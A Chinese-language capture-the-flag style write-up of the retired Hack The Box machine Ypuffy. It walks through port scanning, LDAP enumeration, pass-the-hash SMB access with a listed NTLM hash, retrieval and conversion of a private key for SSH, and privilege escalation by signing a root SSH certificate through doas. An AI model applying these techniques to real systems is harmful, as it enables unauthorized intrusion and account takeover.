本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.107
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.107 -o ./Ypuffy-autorecon
也可以使用官方的方法进行快速的扫描
sudo masscan -p1-65535,U:1-65535 10.10.10.107 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr ' ' ',' | sed 's/,$//') sudo nmap -Pn -sV -sC -p$ports 10.10.10.107
根据扫描的结果尝试了80端口访问, 显示连接被重置,发现smb服务,尝试使用匿名访问,显示权限被拒绝,看到开放389端口,开放了ldap服务,并查到相关信息,使用ldap的知识查询了一些信息,最终得到如下重要信息,ldap相关知识点可以网上搜索,重点理解其架构作用和常见的ldapsearch命令的使用
ldapsearch -h 10.10.10.107 -x -b "dc=hackthebox,dc=htb"
得到上述信息之后 使用smb的密码hash进行登录,这里使用smbcliet命令通过hash登录共享是最直观的,文章最后我会给出参考博客链接,这里我就是smbmap
生成加密算法 echo $(python -c "print str(0)*32"):0B186E661BBDBDCF6047784DE8B9FD8B smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' -d hackthebox.htb -H 10.10.10.107 读取共享信息 smbmap -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' -s alice -R -H 10.10.10.107 下面共享文件 smbmap -H 10.10.10.107 -u alice1978 -p '00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B' --download alice/my_private_key.ppk
进入共享时候发现一个私钥文件,检查发现是通过putty类工具进行生成的,可以在kali中安装对应工具进行转换成openssh的格式文件进行远程登录目标靶机
得到上述的一个私钥文件,不过是putty的格式,需要转换为openssh格式 kali下安装putty工具 apt-get install putty-tools puttygen /home/kali/Downloads/htb/ypuffy/10.10.10.107-alice_my_private_key.ppk -O private-openssh -o alice_rsa 转换成功之后就可以通过私钥登录了 ssh -i alice_rsa 10.10.10.107 -l alice1978
成功登录到目标靶机,查看到家目录如下信息
此时回想前面开放的80端口访问不了,通过遍历目标系统相关服务及文件,发现如下信息:
再看看日志是不是在默认目录下
根据日志的访问信息,发现请求的参数是keys,此时刚好我们上面查看到sql文件, 里面创建的两个表名,其中含有另一个表名principals,我们可以尝试更改keys进行访问
得到密码信息 3m3rgencyB4ckd00r ,根据上面ssh的配置,可以根据目标靶机上的ca证书进行签发生成的ssh私钥和公钥
cd /tmp/ ssh-keygen -f root doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root root
签发成功之后,就可以直接使用刚才生成的root私钥直接登录目标靶机了,这里需要注意生成私钥和公钥的时候在/tmp目录下操作, 这样生成的权限才能使用ca签发,下面是直接登录到目标靶机